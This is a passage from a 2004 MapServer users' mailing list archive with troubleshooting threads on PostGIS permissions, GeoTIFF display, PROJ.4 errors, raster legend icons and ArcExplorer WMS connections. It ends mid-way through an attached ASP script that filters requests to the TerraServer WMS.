> 
> Thanks, Jason.
> 
> -------------------------------------------------
> This mail sent through IMP: http://horde.org/imp/
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
-- 
Pericles S. Nacionales 
University of Minnesota

_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users



From jnielsen at aero-graphics.com  Fri Jan 16 13:12:11 2004
From: jnielsen at aero-graphics.com (Jason M. Nielsen)
Date: Fri, 16 Jan 2004 14:12:11 -0700
Subject: [Mapserver-users] Mapserver + PostGIS for dummies.
In-Reply-To: <1074282332.23124.11.camel@localhost>
References: <1074191988.4006de74f3577@www.agi-lan.com>  <1074194030.1511.57.camel@ubet.gomoos.org>  <1074199637.4006fc5547e6a@www.agi-lan.com> <1074282332.23124.11.camel@localhost>
Message-ID: <1074287531.400853ab3143f@www.agi-lan.com>

Quoting "Pericles S. Nacionales" :

> Jason,
> 
> I believe your problem has something to do with postgresql permissions.
> I bet you didn't have a local account named "gis_user".  You can try two
> things: 
> 
> 1. create a local account with the same name as your postgresql/postgis
> account.  You can give it a "/bin/false" for shell.
> 
> or, 
> 2. edit your pg_hba.conf and add an entry for your database and database
> user with "ident" as your method.  You'll then have to edit
> "pg_ident.conf" and map your database user with a local user.
> 
> #2 would be the option I'd recommend.  Don't mess with your system
> accounts if you don't have to.
> 
> Good luck!
> -Perry N.
> 
> On Thu, 2004-01-15 at 14:47, Jason M. Nielsen wrote:
> > Quoting Eric Bridger :
> > 
> > > Just started using postgis recently and the error messages are a bit
> > > cryptic.  Just yesterday I spent an hour staring at a simliar error
> (you
> > > can try running the query i.e. everything after BINARY CURSOR FOR from
> > > psql to see if it works).  Until I checked the postgres log and
> realized
> > > that the table created by shp2pgsql had not granted permissions for my
> > > web user.  GRANT SELECT ON .... TO PUBLIC fixed the problem.
> > > 
> > > The using clauses are for advance queries with a sub-select. You are
> > > probably using the (1) the_geom from [table_name] form of query.
> > > 
> > > Note: there is a postgis list at:
> > > http://postgis.refractions.net/mailman/listinfo/postgis-users
> > 
> > Didnt think about that. Good information. I checked and there were no
> users
> > granted privledges to the table so I first added the intended user and
> > ultimately public but still no luck. Same error came back.
> > 
> > Thanks, Jason.
> > 
> > -------------------------------------------------
> > This mail sent through IMP: http://horde.org/imp/
> > _______________________________________________
> > Mapserver-users mailing list
> > Mapserver-users at lists.gis.umn.edu
> > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
> -- 
> Pericles S. Nacionales 
> University of Minnesota
> 
> 

Yep no local user and that was indeed the cause of this error. Error gone!

Now just to find out why the vectors show up from the shp file but not when read
from the database. I look into it further.

Thanks!!!

-------------------------------------------------
This mail sent through IMP: http://horde.org/imp/


From warmerdam at pobox.com  Fri Jan 16 13:55:31 2004
From: warmerdam at pobox.com (Frank Warmerdam)
Date: Fri, 16 Jan 2004 16:55:31 -0500
Subject: [Mapserver-users] Geo TIFFs
In-Reply-To: <1074285753.40084cb9e3165@www.agi-lan.com>
References: <1074277807.40082daf9177f@www.agi-lan.com> <40084016.4030902@pobox.com> <1074285753.40084cb9e3165@www.agi-lan.com>
Message-ID: <40085DD3.6050408@pobox.com>

Jason M. Nielsen wrote:
> I am trying to go the route described using gdal. Everything seems to compile
> but nothing appears different from command line options, help etc. I did notice
> during configure gdal did indeed explicitly state it was using internal tiff
> gtiff. Still the tiff will not display but the jpeg will. Below I have listed
> out the results from gdalinfo for the jpeg and tiff file. In the map file all I
> do is change the extension from jpg to tif. Id rather not touch my libtiff (at
> 3.5.7-11) because if I do it will wreck havok on other systems across the board
> and I really am not in the mood for another dozen or more compilations that will
> in turn require more than like half a dozen more supporting ones. =)
> 
> Could the warning 1 be the problem I am having? 

Jason,

The warning could conceivably be causing a problem in the mapserver
context, but I doubt it.   To fixup the error, you should be able to
just use gdal_translate to copy the geotiff file.

eg.

gdal_translate top10c0.tif top10c0_new.tif

Are you sure that mapserver is build "--without-tiff"?  I think I said
"--without-libtiff" last time which would be wrong.

Best regards,

-- 
---------------------------------------+--------------------------------------
I set the clouds in motion - turn up   | Frank Warmerdam, warmerdam at pobox.com
light and sound - activate the windows | http://pobox.com/~warmerdam
and watch the world go round - Rush    | Geospatial Programmer for Rent




From ron at umit.maine.edu  Fri Jan 16 10:02:22 2004
From: ron at umit.maine.edu (Ronald Kozlowski)
Date: Fri, 16 Jan 2004 13:02:22 -0500
Subject: [Mapserver-users] Help!
Message-ID: 

So below  is what my ./configure output looks like for mapserver 4 (./configure --with-proj --with-gdal --with-WFS). I Make and then Make install which tells me to copy the file over to my cgi-bin. 
I do that but when i try to run any of the tutorials I get this for and error? msProcessProjection(): Projection library error. no system list, errno: 2 
What is causing this? What did I do wrong. I have PROJ.4 installed , at least it says below it does. So what am I missing? By the way I am using Mandrake 9.2 Thanks !



./configure --with-proj --with-gdal --with-WFS   
loading cache ./config.cache
checking for gcc... (cached) gcc
checking whether the C compiler (gcc  ) works... yes
checking whether the C compiler (gcc  ) is a cross-compiler... no
checking whether we are using GNU C... (cached) yes
checking whether gcc accepts -g... (cached) yes
checking for c++... (cached) c++
checking whether the C++ compiler (c++  ) works... yes
checking whether the C++ compiler (c++  ) is a cross-compiler... no
checking whether we are using GNU C++... (cached) yes
checking whether c++ accepts -g... (cached) yes
checking for ranlib... (cached) ranlib
checking for flex... (cached) flex
checking for yywrap in -lfl... (cached) yes
checking for bison... (cached) bison -y
checking if compiler supports -R... (cached) no
checking if compiler supports -Wl,-rpath,... (cached) yes
checking for exp in -lm... (cached) yes
checking for __gxx_personality_v0 in -lstdc++... (cached) yes
checking how to run the C preprocessor... (cached) gcc -E
checking for ANSI C header files... (cached) yes
checking for strcasecmp... (cached) yes
checking for strncasecmp... (cached) yes
checking for strdup... (cached) yes
checking whether we should include JPEG support...
checking for jpeg_read_header in -ljpeg... yes
        using libjpeg from system libs.
checking where FreeType 2.x is installed...
checking for FT_Init_FreeType in -lfreetype... yes
        using libfreetype -lfreetype from system libs.
checking where Zlib is installed...
checking for zlibVersion in -lz... yes
        using libz from system libs.
checking where PNG is installed...
checking for png_init_io in -lpng... yes
        using libpng from system libs.
checking where libXpm is installed...
checking for XpmFreeXpmImage in -lXpm... no
        XPM (libXpm) library cannot be found, possibly needed for GD
checking where libiconv is installed...
checking for libiconv_open in -liconv... yes
        using libiconv from system libs.
checking for GD 2.0.12 or higher...
checking for gdImageSetAntiAliased in -lgd... yes
checking for gdImageSetAntiAliased in -lgd... (cached) yes
        using libgd 2.0.12 (or higher) from system libs (-L/usr/local/lib -lgd -ljpeg -lfreetype -lpng -lz  ).
checking for gdImageCreate in -lgd... yes
checking for gdImageGif in -lgd... no
checking for gdImagePng in -lgd... yes
checking for gdImageJpeg in -lgd... yes
checking for gdImageWBMP in -lgd... yes
checking for gdImageStringFT in -lgd... yes
checking for gdImageGifPtr in -lgd... no
        using GD ( -DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP -DUSE_GD_FT) from system libs.
checking whether we should include PDF support...
checking for PDF_setlinewidth in -lpdf... no
checking for PDF_setrgbcolor in -lpdf... no
checking for PDF_moveto in -lpdf... no
checking for PDF_curveto in -lpdf... no
checking for PDF_show_xy in -lpdf... no
        libpdf not found... PDF support not included.
checking whether we should include TIFF support...
checking for TIFFOpen in -ltiff... yes
        using libtiff from system libs.
checking whether we should include EPPL7 support...
        including EPPL7 support.
checking whether we should include PROJ.4 support...
checking for pj_init in -lproj... yes
checking for pj_transform in -lproj... yes
checking for pj_latlong_from_proj in -lproj... yes
        using PROJ.4 from system libs.
checking whether we should include thread safe support...
        thread safe support disabled.
checking whether we should include ESRI SDE support...
        ESRI SDE support not requested.
checking whether we should compile in MPATROL support...
        MPATROL support not requested.
checking whether we should include OGR support...
        OGR support not requested.
checking if GDAL support requested... yes
checking for gdal-config... (cached) /usr/local/bin/gdal-config
checking if PostGIS support requested... no
checking if MyGIS support requested... no
checking if OracleSpatial support requested... no
checking if MING/Flash support requested... no
checking whether we should include WMS Server support...
        OGC WMS compatibility enabled (-DUSE_WMS_SVR).
checking whether we should include WFS Server support...
        OGC WFS Server support not requested.
checking whether we should include WMS Client Connections support...
checking whether we should include WFS Client Connections support...
        OGC WFS Client Connections not enabled (PROJ.4, libcurl and OGR required).
checking for curl-config
checking HTTPD server (Apache) version
checking for httpd... (cached) no
        'httpd' not found, skipping Apache version detection. You may want to use --with-httpd=/path/to/httpd
Compiling with -DIGNORE_MISSING_DATA.
checking whether we should enable debug features...
checking for PHP/MapScript module options...
        PHP/MapScript module not configured.
creating ./config.status
creating Makefile



Ronald N. Kozlowski, MS
Research Associate in New Media, University of Maine 
Biological New Media Facility
ron at umit.maine.edu
Tel: 207.581.4532



From jnielsen at aero-graphics.com  Fri Jan 16 14:47:11 2004
From: jnielsen at aero-graphics.com (Jason M. Nielsen)
Date: Fri, 16 Jan 2004 15:47:11 -0700
Subject: [Mapserver-users] Raster Legend Icons etc.
Message-ID: <1074293231.400869efb935a@www.agi-lan.com>

Im trying to create a legend icon for when my raster layers are on.

LAYER
  NAME top10c0
  TYPE raster
  STATUS OFF
  CLASS
    NAME 'Utah County Top Raster'
    SYMBOL 'symbols/raster01.png'
  END
  DATA "top10c0.jpg"
  OFFSITE 255 255 255
  PROCESSING "BANDS=1,2,3"
END

This will work only if I comment out the PROCESSING line. In which case it
prints the name and a white icon and my image layer is in black and white. If I
do not I get the following error:

msDrawMap(): Image handling error. Failed to draw layer named 'top10c0'.
drawGDAL(): Unable to access file. Attempt to classify 24bit image, this is
unsupported. 

Now if I do something like:

LAYER
  NAME tiletop10c0
  STATUS OFF
  TILEINDEX top10c0.shp
  TILEITEM Location
  TYPE RASTER
  CLASS
    NAME 'Utah County Top Raster'
    SYMBOL 'symbols/raster01.png'
  END
END

The icon shows up perfectly etc. But I also dont have an image drawn. Im
assuming I dont have the tiling deal setup properly.

So basically the question is how do I get this icon to print with the text in
the legend but still have my 24bit color raster layer display?

Thanks.

-------------------------------------------------
This mail sent through IMP: http://horde.org/imp/


From jnielsen at aero-graphics.com  Fri Jan 16 15:04:35 2004
From: jnielsen at aero-graphics.com (Jason M. Nielsen)
Date: Fri, 16 Jan 2004 16:04:35 -0700
Subject: [Mapserver-users] Geo TIFFs
In-Reply-To: <40085DD3.6050408@pobox.com>
References: <1074277807.40082daf9177f@www.agi-lan.com> <40084016.4030902@pobox.com> <1074285753.40084cb9e3165@www.agi-lan.com> <40085DD3.6050408@pobox.com>
Message-ID: <1074294275.40086e03aa4bb@www.agi-lan.com>

Quoting Frank Warmerdam :
> The warning could conceivably be causing a problem in the mapserver
> context, but I doubt it.   To fixup the error, you should be able to
> just use gdal_translate to copy the geotiff file.
> 
> eg.
> 
> gdal_translate top10c0.tif top10c0_new.tif
> 
> Are you sure that mapserver is build "--without-tiff"?  I think I said
> "--without-libtiff" last time which would be wrong.
> 
> Best regards,

Cleaned it up with gdal_translate and the warning went away. I rebuilt mapserv
using --without-tiff.

[root at vad3rZIM data]# /var/www/cgi-bin/mapserv -v
MapServer version 4.0.1 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP SUPPORTS=PROJ
SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIENT SUPPORTS=WFS_SERVER
SUPPORTS=WFS_CLIENT INPUT=EPPL7 INPUT=JPEG INPUT=POSTGIS INPUT=OGR INPUT=GDAL
INPUT=SHAPEFILE

Now INPUT=TIFF is gone as I presume it should be since GDAL will be being used?

Samething still occures. No errors. Image just simply does not display.

[root at vad3rZIM data]# gdalinfo top10c0.tif
Driver: GTiff/GeoTIFF
Size is 3854, 3773
Coordinate System is `'
Origin = (1512385.000000,7356162.500000)
Pixel Size = (10.000000,-10.000000)
Metadata:
  TIFFTAG_SOFTWARE=Adobe Photoshop 7.0
  TIFFTAG_DATETIME=2004:01:14 09:03:52
Corner Coordinates:
Upper Left  ( 1512385.000, 7356162.500) 
Lower Left  ( 1512385.000, 7318432.500) 
Upper Right ( 1550925.000, 7356162.500) 
Lower Right ( 1550925.000, 7318432.500) 
Center      ( 1531655.000, 7337297.500) 
Band 1 Block=3854x2 Type=Byte, ColorInterp=Red
Band 2 Block=3854x2 Type=Byte, ColorInterp=Green
Band 3 Block=3854x2 Type=Byte, ColorInterp=Blue

BTW, while Im on the subject and have the gdal info up here. I do not recall
seeing anyplace where I can directly reference this "Metadata:" section in the
TIFF. Is this possible through mapserv directly or would a script of the like
need to be written (ie: perl, php, python etc) that made use of the likes of
gdal_info to extract said information?

With regard to why my tif is not displaying Im stumped. Everything appears to be
in order. I even went so far as to go backwards and remake the tiff from the
jpeg which actually came from this tiff. lol

-------------------------------------------------
This mail sent through IMP: http://horde.org/imp/


From nacional at cbs.umn.edu  Fri Jan 16 16:00:30 2004
From: nacional at cbs.umn.edu (Pericles Nacionales)
Date: Fri, 16 Jan 2004 18:00:30 -0600 (CST)
Subject: [Mapserver-users] Raster Legend Icons etc.
In-Reply-To: <1074293231.400869efb935a@www.agi-lan.com>
References: <1074293231.400869efb935a@www.agi-lan.com>
Message-ID: 

Try this:

Replace your CLASS object:
   CLASS
     NAME 'Utah County Top Raster'
     SYMBOL 'symbols/raster01.png'
   END

with this:
   CLASS
     NAME 'Utah County Top Raster'
     STYLE
       KEYIMAGE 'symbols/raster01.png'
     END
   END

Good luck!

-Perry N.


On Fri, 16 Jan 2004, Jason M. Nielsen wrote:

> Im trying to create a legend icon for when my raster layers are on.
>
> LAYER
>   NAME top10c0
>   TYPE raster
>   STATUS OFF
>   CLASS
>     NAME 'Utah County Top Raster'
>     SYMBOL 'symbols/raster01.png'
>   END
>   DATA "top10c0.jpg"
>   OFFSITE 255 255 255
>   PROCESSING "BANDS=1,2,3"
> END
>
> This will work only if I comment out the PROCESSING line. In which case it
> prints the name and a white icon and my image layer is in black and white. If I
> do not I get the following error:
>
> msDrawMap(): Image handling error. Failed to draw layer named 'top10c0'.
> drawGDAL(): Unable to access file. Attempt to classify 24bit image, this is
> unsupported.
>
> Now if I do something like:
>
> LAYER
>   NAME tiletop10c0
>   STATUS OFF
>   TILEINDEX top10c0.shp
>   TILEITEM Location
>   TYPE RASTER
>   CLASS
>     NAME 'Utah County Top Raster'
>     SYMBOL 'symbols/raster01.png'
>   END
> END
>
> The icon shows up perfectly etc. But I also dont have an image drawn. Im
> assuming I dont have the tiling deal setup properly.
>
> So basically the question is how do I get this icon to print with the text in
> the legend but still have my 24bit color raster layer display?
>
> Thanks.
>
> -------------------------------------------------
> This mail sent through IMP: http://horde.org/imp/
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>


From pram at pramcentral.com  Fri Jan 16 16:12:19 2004
From: pram at pramcentral.com (Prashanth Ram)
Date: Fri, 16 Jan 2004 16:12:19 -0800 (PST)
Subject: [Mapserver-users] Help!
Message-ID: <20040116161219.7127.h010.c001.wm@mail.pramcentral.com.criticalpath.net>

What you need to do is copy the files to /usr/lib . Try
copying just one of the files that it said it could not
find to that location and see what happens. It should
say the file was located and give its address. If that
works, then copy all the files to that location.

-Prashanth


On Fri, 16 Jan 2004 19:07:45 -0500, "Ronald Kozlowski"
wrote:

> 
> "Prashanth Ram"  writes:
> >Ronald:
> >  I presume that you are one *nix system. Try this:
ldd
> >mapserv. It should tell you something like this:
> >
> >libgd.so.2 => /usr/lib/libgd.so.2 (0x4001c000)
> >        libfreetype.so.6 => /usr/lib/libfreetype.so.6
> >(0x40055000)
> >        libpng.so.3 => /usr/lib/libpng.so.3
> (0x400a7000)
> >        libm.so.6 => /lib/libm.so.6 (0x40152000)
> >        libstdc++.so.5 => /usr/lib/libstdc++.so.5
> >(0x4046b000)
> >        /lib/ld-linux.so.2 => /lib/ld-linux.so.2
> >(0x40000000)
> >        libdl.so.2 => /lib/libdl.so.2 (0x40473000)
> >
> >If you get a message like "libxxx.so.2 => not found"
> >then it means that a lib was not found in the path.
> >Just fix the lib. file and everything should be
> working.
> >
> >
> >
> >-Prashanth
> 
> Ok so I did this and none of them say not found. So
now
> what?
> It was also suggested that I don't have espg file in
> the proj director but when I looked it is there. 
> stumped:-(
> 
> 						R
> 
> 
> Ronald N. Kozlowski, MS
> Research Associate in New Media, University of Maine 
> Biological New Media Facility
> ron at umit.maine.edu
> Tel: 207.581.4532


From info at emover-software.com  Fri Jan 16 21:01:51 2004
From: info at emover-software.com (George Freed)
Date: Sat, 17 Jan 2004 00:01:51 -0500
Subject: [Mapserver-users] I cannot create new image map without refreshing initial page
Message-ID: 

I just install demo and have initial page working. But when i click image or
any other submit from second page or even go back to initial page and submit
page again to mapserv.exe, i'm getting the same page with missing image and
no image created in /tmp/ directory until i refresh the initial page.
I'm windows XP user. Any suggestions, please!
George




From edman007x at mac.com  Sat Jan 17 17:30:52 2004
From: edman007x at mac.com (Ed Martin)
Date: Sat, 17 Jan 2004 20:30:52 -0500
Subject: [Mapserver-users] draw a shape--use the MAXSCALE and label stuff defined in mapfile
Message-ID: 

i'm drawing the individual shapes instead of just the layer to control 
the shapes that get drawn but it isn't adding the label and it isn't 
obeying the maxscale defined in the map file, how do i make it add the 
label and have the maxscale, i'm using php/mapscript and here is a part 
of what i have

$cities_layer = $map->getLayerByName('Cities');
//open the layer
$cities_layer->open();
$city_shape = $cities_layer->getShape(-1, $city_id);
$cities_layer->close();
$city_shape->draw($map,$cities_layer,$image);
$city_shape->free();



From ms57 at streamyx.com  Sat Jan 17 23:49:55 2004
From: ms57 at streamyx.com (Steve McCrone)
Date: Sun, 18 Jan 2004 15:49:55 +0800
Subject: [Mapserver-users] JBox - Getting started - Small problem
Message-ID: <000d01c3dd97$aa3de890$c8835fdb@clickntrac>

Hi,

I'm trying to implement the JBox with the Demo.html sample. I've followed
the instructions contained in -
http://mapserver.gis.umn.edu/doc40/jbox-howto.html

The gif is generated but does not appear, nor does the rubber-band zoom
rectangle does not appear.

I beleive it is not finging the JBox.class. It looks dead easy, but!!! -
here's what I've added-

function setbox_handler(name, minx, miny, maxx, maxy, redraw) {
document.mapserv.imgbox.value = minx + " " + miny + " " + maxx + " " + maxy;
document.mapserv.imgxy.value = minx + " " + miny;
}
===============


===============



==============

==============

Note: the jbox class etc is in the directory wwwroot/Java/JBox, which is the
main localhost directory. The demo_init.html and demo.html are also in the
wwwroot directory.

Thanks



From wim.blanken at planet.nl  Sun Jan 18 05:58:50 2004
From: wim.blanken at planet.nl (Wim Blanken PI)
Date: Sun, 18 Jan 2004 14:58:50 +0100
Subject: [Mapserver-users] JBox - Getting started - Small problem
References: <000d01c3dd97$aa3de890$c8835fdb@clickntrac>
Message-ID: <001a01c3ddcb$3431bbc0$6400a8c0@BLANKEN>

Hi Steve,

Are you using Internet Explorer as a client?
I had a simular problem and had to recompile the Jbox applet to a target 1.1
to make it complient to internet explorer MS VM.
If you use the sun JRE than it works OK.
If you like to get my compiled jBox mail me and I'll send it to you.

Regards,

Wim Blanken
The Netherlands.
----- Original Message -----
From: "Steve McCrone" 
To: 
Sent: Sunday, January 18, 2004 8:49 AM
Subject: [Mapserver-users] JBox - Getting started - Small problem


> Hi,
>
> I'm trying to implement the JBox with the Demo.html sample. I've followed
> the instructions contained in -
> http://mapserver.gis.umn.edu/doc40/jbox-howto.html
>
> The gif is generated but does not appear, nor does the rubber-band zoom
> rectangle does not appear.
>
> I beleive it is not finging the JBox.class. It looks dead easy, but!!! -
> here's what I've added-
>
> function setbox_handler(name, minx, miny, maxx, maxy, redraw) {
> document.mapserv.imgbox.value = minx + " " + miny + " " + maxx + " " +
maxy;
> document.mapserv.imgxy.value = minx + " " + miny;
> }
> ===============
> 
> ===============
>  height=[mapheight] name="jBox" MAYSCRIPT>
> 
> 
> ==============
> 
> ==============
>
> Note: the jbox class etc is in the directory wwwroot/Java/JBox, which is
the
> main localhost directory. The demo_init.html and demo.html are also in the
> wwwroot directory.
>
> Thanks
>
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users



From mtperry78 at sbcglobal.net  Sun Jan 18 11:32:00 2004
From: mtperry78 at sbcglobal.net (Matthew Perry)
Date: Sun, 18 Jan 2004 11:32:00 -0800 (PST)
Subject: [Mapserver-users] ArcExplorer/ WMS questions
Message-ID: <20040118193200.50089.qmail@web80109.mail.yahoo.com>

Hello,

 I have been playing with ESRI's new OGC
interoperability extension for ArcExplorer. I have
been unable to connect to any WMS server (haven't
tried WFS) but it looks like it should be doable. Has
anyone had any success with this?? Are there any good
resources/tutorials for this extension??

--I have successfully tried the following layer as a
mapserver WMS client:

LAYER
 NAME "wms_map"
 TYPE RASTER
 STATUS OFF
 CONNECTION "http://terraservice.net/OgcMap.ashx?"
 CONNECTIONTYPE WMS
 METADATA
        "wms_srs"             "EPSG:26910"
        "wms_name"            "DRG"
        "wms_server_version"  "1.1.1"
        "wms_format"          "image/jpeg"
        "wms_layers"          "drg"
 END
 PROJECTION
        "init=epsg:26910"
 END
END

-- I have successfully tried the following URL:

http://terraservice.net/OgcMap.ashx?service=wms&request=GetMap&version=1.1.1&layers=DRG&bbox=573000,4530000,579000,4536000&styles=blank&width=500&height=500&format=image/jpeg&srs=epsg:26910

-- Yet when I enter this url in the
Interoperability->Connect to WMS dialog box, it
doesn't find the capabilities and fails. I have tried
to stip all the arguments, left some arguments, put
everything in quotes etc... Nothing seems to work for
me. Does anyone have any experience with ArcExplorer's
interoperability that could help me debug this
problem??

Personally, it seems like a pretty lame attempt by
ESRI at standards compliance but at least its a start!

Matt Perry
Humboldt State University


From bartvde at xs4all.nl  Sun Jan 18 11:58:41 2004
From: bartvde at xs4all.nl (Bart van den Eijnden)
Date: Sun, 18 Jan 2004 20:58:41 +0100
Subject: [Mapserver-users] ArcExplorer/ WMS questions
In-Reply-To: <20040118193200.50089.qmail@web80109.mail.yahoo.com>
References: <20040118193200.50089.qmail@web80109.mail.yahoo.com>
Message-ID: 

Hi Matthew,

I also tried your URL and put the message level in ArcExplorer to ALL and 
get the following info, so it seems the GetCapabilities request 
ArcExplorer is sending does not get the right response, i.e. try it for 
yourself in a browser and you get 8 errors from the terraservice WMS:

GetCapabilities Request : 
http://terraservice.net/OgcMap.ashx?VERSION=1.1.1&WMTVER=1.1.1&SERVICE=WMS&REQUEST=capabilities

GetCapabilities Request : 
http://terraservice.net/OgcMap.ashx?VERSION=1.1.1&WMTVER=1.1.1&SERVICE=WMS&REQUEST=capabilities

###### Start to WMS getCapabilities in GetWMSService class version=null

************** realVersion is = none

************** Version is = null

This version is not supported

******** Exception for WMS:null

java.lang.NullPointerException

----
For using Mapserver WMS with ArcExplorer it needed some tweaks. It seemed 
ArcExplorer could only work with WMS 1.1.1.

Maybe you can get some additional useful information from this page on the 
Wiki:
http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?WMSMapserverArcExplorer

Best regards,
Bart

On Sun, 18 Jan 2004 11:32:00 -0800 (PST), Matthew Perry 
 wrote:

> Hello,
>
>  I have been playing with ESRI's new OGC
> interoperability extension for ArcExplorer. I have
> been unable to connect to any WMS server (haven't
> tried WFS) but it looks like it should be doable. Has
> anyone had any success with this?? Are there any good
> resources/tutorials for this extension??
>
> --I have successfully tried the following layer as a
> mapserver WMS client:
>
> LAYER
>  NAME "wms_map"
>  TYPE RASTER
>  STATUS OFF
>  CONNECTION "http://terraservice.net/OgcMap.ashx?"
>  CONNECTIONTYPE WMS
>  METADATA
>         "wms_srs"             "EPSG:26910"
>         "wms_name"            "DRG"
>         "wms_server_version"  "1.1.1"
>         "wms_format"          "image/jpeg"
>         "wms_layers"          "drg"
>  END
>  PROJECTION
>         "init=epsg:26910"
>  END
> END
>
> -- I have successfully tried the following URL:
>
> http://terraservice.net/OgcMap.ashx?service=wms&request=GetMap&version=1.1.1&layers=DRG&bbox=573000,4530000,579000,4536000&styles=blank&width=500&height=500&format=image/jpeg&srs=epsg:26910
>
> -- Yet when I enter this url in the
> Interoperability->Connect to WMS dialog box, it
> doesn't find the capabilities and fails. I have tried
> to stip all the arguments, left some arguments, put
> everything in quotes etc... Nothing seems to work for
> me. Does anyone have any experience with ArcExplorer's
> interoperability that could help me debug this
> problem??
>
> Personally, it seems like a pretty lame attempt by
> ESRI at standards compliance but at least its a start!
>
> Matt Perry
> Humboldt State University
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>



-- 
  


From bfraser at geoanalytic.com  Sun Jan 18 12:44:38 2004
From: bfraser at geoanalytic.com (Brent Fraser)
Date: Sun, 18 Jan 2004 13:44:38 -0700
Subject: [Mapserver-users] ArcExplorer/ WMS questions
References: <20040118193200.50089.qmail@web80109.mail.yahoo.com>
Message-ID: <083001c3de03$e3c1c160$020002c0@SHARK>

This is a multi-part message in MIME format.

------=_NextPart_000_082D_01C3DDC9.3748AAA0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

Matthew,

You've got two problems:

1. TerraServer does not return valid XML when asked for
"request=capabilities"

2. ESRI's ArcExplorer does not send valid WMS URLs when asking for maps.
    (e.g. it sends the image size as real numbers instead of integers).

So much for following standards...

In general, the URL you enter in ArcExplorer must be the GetCapabilities URL
(http://terraservice.net/OgcCapabilities.ashx?), NOT the GetMap URL
(http://terraservice.net/OgcMap.ashx?).  For some WMS sites these are the
same, for others they are different.

I wrote a little ASP to filter ArcExplorer's requests to Terraserver (see
attached file.  If you want the getcapabilities XML, let me know).  It
simply changes the image size to integers.  It also serves up an XML doc
when getCapabilities is requested, but I don't think this is necesary
anymore (TerraServer must have fixed their XML).

Make sure you read the Mapserver doc
http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?WMSMapServer, especially
http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?WMSMapserverArcExplorer

============================
Here are a couple of other useful tips:

1.  In ArcExplorer, display debugging messages by clicking on the Help ->
ArcExplorer Message Console, then in the dialog, View -> Message Level ->
All

2.  Do a GetCapabilities from your browser.  The browser (at least IE6 does)
will parse the xml and report if there are any problems.

3. Don't use non-ASCII characters in your GetCapabilities doc.  Apparently
ArcExplorer (and MS IE) will not allow non-ASCII characters anywhere in
the XML document.

Brent Fraser
bfraser at geoanalytic.com
www.geoanalytic.com

----- Original Message -----
From: "Matthew Perry" 
To: "Mapserver List" 
Sent: Sunday, January 18, 2004 12:32 PM
Subject: [Mapserver-users] ArcExplorer/ WMS questions


> Hello,
>
>  I have been playing with ESRI's new OGC
> interoperability extension for ArcExplorer. I have
> been unable to connect to any WMS server (haven't
> tried WFS) but it looks like it should be doable. Has
> anyone had any success with this?? Are there any good
> resources/tutorials for this extension??
>
> --I have successfully tried the following layer as a
> mapserver WMS client:
>
> LAYER
>  NAME "wms_map"
>  TYPE RASTER
>  STATUS OFF
>  CONNECTION "http://terraservice.net/OgcMap.ashx?"
>  CONNECTIONTYPE WMS
>  METADATA
>         "wms_srs"             "EPSG:26910"
>         "wms_name"            "DRG"
>         "wms_server_version"  "1.1.1"
>         "wms_format"          "image/jpeg"
>         "wms_layers"          "drg"
>  END
>  PROJECTION
>         "init=epsg:26910"
>  END
> END
>
> -- I have successfully tried the following URL:
>
>
http://terraservice.net/OgcMap.ashx?service=wms&request=GetMap&version=1.1.1
&layers=DRG&bbox=573000,4530000,579000,4536000&styles=blank&width=500&height
=500&format=image/jpeg&srs=epsg:26910
>
> -- Yet when I enter this url in the
> Interoperability->Connect to WMS dialog box, it
> doesn't find the capabilities and fails. I have tried
> to stip all the arguments, left some arguments, put
> everything in quotes etc... Nothing seems to work for
> me. Does anyone have any experience with ArcExplorer's
> interoperability that could help me debug this
> problem??
>
> Personally, it seems like a pretty lame attempt by
> ESRI at standards compliance but at least its a start!
>
> Matt Perry
> Humboldt State University
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users

------=_NextPart_000_082D_01C3DDC9.3748AAA0
Content-Type: text/asp;
	name="Terraserver2.asp"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
	filename="Terraserver2.asp"

<%
' http://shark/wms/terraserver.asp
strURL =3D "http://terraservice.net/ogcmap.ashx?"
'=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=

Server.ScriptTimeout =3D 360
Const ForReading   =3D 1

strRequest =3D Request.ServerVariables("QUERY_STRING")

strRequest =3D ucase(strRequest)
pos =3D instr(strRequest,"REQUEST=3DGETCAPABILITIES")
if pos =3D 0 then pos =3D instr(strRequest,"REQUEST=3DCAPABILITIES")

if pos > 0 then
'-----------------------------------------------------
' Log Requests:
'-----------------------------------------------------
'    Dim fso, tf
    Set fso =3D CreateObject("Scripting.FileSystemObject")
    sFilname =3D "C:\Inetpub\wwwroot\wms\terraserver.xml"
    Set tf =3D fso.OpenTextFile(sFilname, ForReading)
    Do While Not tf.AtEndOfStream
	Response.Write tf.Readline & vbCrLf
    Loop
    set tf  =3D Nothing
    set fso =3D Nothing

else
